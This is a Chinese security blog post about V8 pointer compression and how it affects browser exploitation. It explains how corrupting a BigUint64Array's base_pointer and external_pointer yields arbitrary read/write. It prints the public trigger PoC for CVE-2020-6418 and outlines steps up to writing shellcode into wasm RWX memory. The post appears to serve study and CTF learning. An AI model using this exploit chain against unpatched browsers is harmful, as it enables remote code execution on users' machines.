前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >浅淡v8指针压缩

浅淡v8指针压缩

作者头像
Gamma实验室
发布2020-12-23 11:34:23
1.3K0
发布2020-12-23 11:34:23
举报
文章被收录于专栏:Gamma安全实验室Gamma安全实验室

Pointer compression是v8 8.0中为提高64位机器内存利用率而引入的机制。

什么是Pointer compression

对于smi,在之前的64位系统中的表示是`value << 32`,现在变成`value << 1`(留一位做[pointer tagging]),这样smi从64位变为32位。

“详情请参考:https://en.wikipedia.org/wiki/Tagged_pointer”

对于v8中64位的对象指针,它们的高32位基本是不变的,花费4字节来储存它们会浪费内存空间;所以指针压缩将64位对象指针变为32位,也就是64位指针中的低32位,将64位指针的高32位保存在r13中;访问对象时,只需要将对象指针与根寄存器的基址相加即可得到完整地址。

v8关于指针压缩的实现

首先我们能想到的实现方式是从0地址开始分配4G内存,确保v8对象分配在这4G内存范围内;v8显然没有这样做,在chrome渲染进程中可能会有多个v8实例,这个方案会导致所有v8实例都来竞争这4G内存,~~而我们稍微开两个chrome内存就吃满了~~。

“详情请参考:https://v8.dev/blog/pointer-compression”

指针压缩在v8漏洞利用中的影响

首先我们很难泄漏v8堆内存空间的高32位(r13寄存器),也就意味着我们用伪造JSArray并控制elements指针以获取任意r/w原语的时候只能在4G的堆内进行。

想要任意r/w原语我们可以在v8堆上分配ArrayBuffer并覆盖它的backing_store到任意64位内存地址,然后用TypedArray或DataView对象拿到整个64位地址空间内的任意r/w原语。原因是backing_store使用[PartitionAlloc](https://chromium.googlesource.com/chromium/src/+/dcc13470a/third_party/WebKit/Source/wtf/PartitionAlloc.md)分配,所有PartitionAlloc分配的内存都位于v8堆之外的单独内存区域中,所以没有指针压缩。

还有BigUint64Array对象,利用它也可以实现v8堆内、堆外任意r/w;观察一下BigUint64Array对象的内存布局:

代码语言:javascript
复制
sh
DebugPrint: 0x192a080c5ed1: [JSTypedArray]
 - map: 0x192a08280671 <Map(BIGUINT64ELEMENTS)> [FastProperties]
 - prototype: 0x192a08242db1 <Object map = 0x192a08280699>
 - elements: 0x192a080c5eb9 <ByteArray[16]> [BIGUINT64ELEMENTS]
 - embedder fields: 2
 - buffer: 0x192a080c5e81 <ArrayBuffer map = 0x192a08281189>
 - byte_offset: 0
 - byte_length: 16
 - length: 2
 - data_ptr: 0x192a080c5ec0
   - base_pointer: 0x80c5eb9
   - external_pointer: 0x192a00000007
 - properties: 0x192a080406e9 <FixedArray[0]> {}
 - elements: 0x192a080c5eb9 <ByteArray[16]> {
         0-1: 1311768465173141112
 }
 - embedder fields = {
    0, aligned pointer: 0x0
    0, aligned pointer: 0x0
 }

可以看到external_pointer跟base_pointer都是没有进行指针压缩的64位指针,并且data_ptr是它俩相加,所以我们可以通过覆盖external_pointer和base_pointer实现64位内存空间任意r/w;还有一点要注意的是初始时external_pointer指针刚好是r13寄存器的高32位,我们可以通过泄露external_pointer来获得v8堆的基址(虽然好像也没有什么用)。

在类型混淆漏洞的利用中,当一个数组从smi/object转为double的时候,占用空间会翻倍,反之会减半。

CVE-2020-6418

这个洞也是2020-SCTF浏览器题EasyMojo的v8部分。

poc

代码语言:javascript
复制
js
// Copyright 2020 the V8 project authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
// Flags: --allow-natives-syntax
let a = [0, 1, 2, 3, 4];

function empty() {}

function f(p) {
  a.pop(Reflect.construct(empty, arguments, p));
}

let p = new Proxy(Object, {
    get: () => (a[0] = 1.1, Object.prototype)
});

function main(p) {
  f(p);
}
%PrepareFunctionForOptimization(empty);
%PrepareFunctionForOptimization(f);
%PrepareFunctionForOptimization(main);
main(empty);
main(empty);
%OptimizeFunctionOnNextCall(main);
main(p);

jit没有考虑到a有side effect会变为double类型数组,仍按smi处理。

利用思路

考虑到指针压缩,我们基本利用思路就有了:

1. 利用类型混淆把double数组变为object数组;

2. 越界读写修改布置在后面的double数组的length字段;

3. 有了任意长度越界的double数组,再找到布置在后面的BigUint64Array,通过越界写覆盖BigUint64Array的base_pointer和external_poiner字段来实现任意r/w原语;

4. 利用任意r/w原语构造addrOf原语和fakeObj原语;

5. 向wasm的rwx内存写入shellcode;

参考链接

1.<https://v8.dev/blog/pointer-compression>

2.<https://blog.infosectcbr.com.au/2020/02/pointer-compression-in-v8.html>

3.<https://ray-cp.github.io/archivers/browser-pwn-cve-2020-6418%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90>

为了安全请将工具放在虚拟机运行!

作者不易!请点一下关注在走吧!

请严格遵守国家网络安全法相关条例!

此文章仅供学习参考,不得用于违法犯罪,一切后果自付!

转载此文章,请标明出处。

关注此公众号,各种福利领不停,每天一个hacker小技巧

轻轻松松学习hacker技术!

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-09-21,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Gamma安全实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
文件存储
文件存储(Cloud File Storage,CFS)为您提供安全可靠、可扩展的共享文件存储服务。文件存储可与腾讯云服务器、容器服务、批量计算等服务搭配使用,为多个计算节点提供容量和性能可弹性扩展的高性能共享存储。腾讯云文件存储的管理界面简单、易使用,可实现对现有应用的无缝集成;按实际用量付费,为您节约成本,简化 IT 运维工作。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档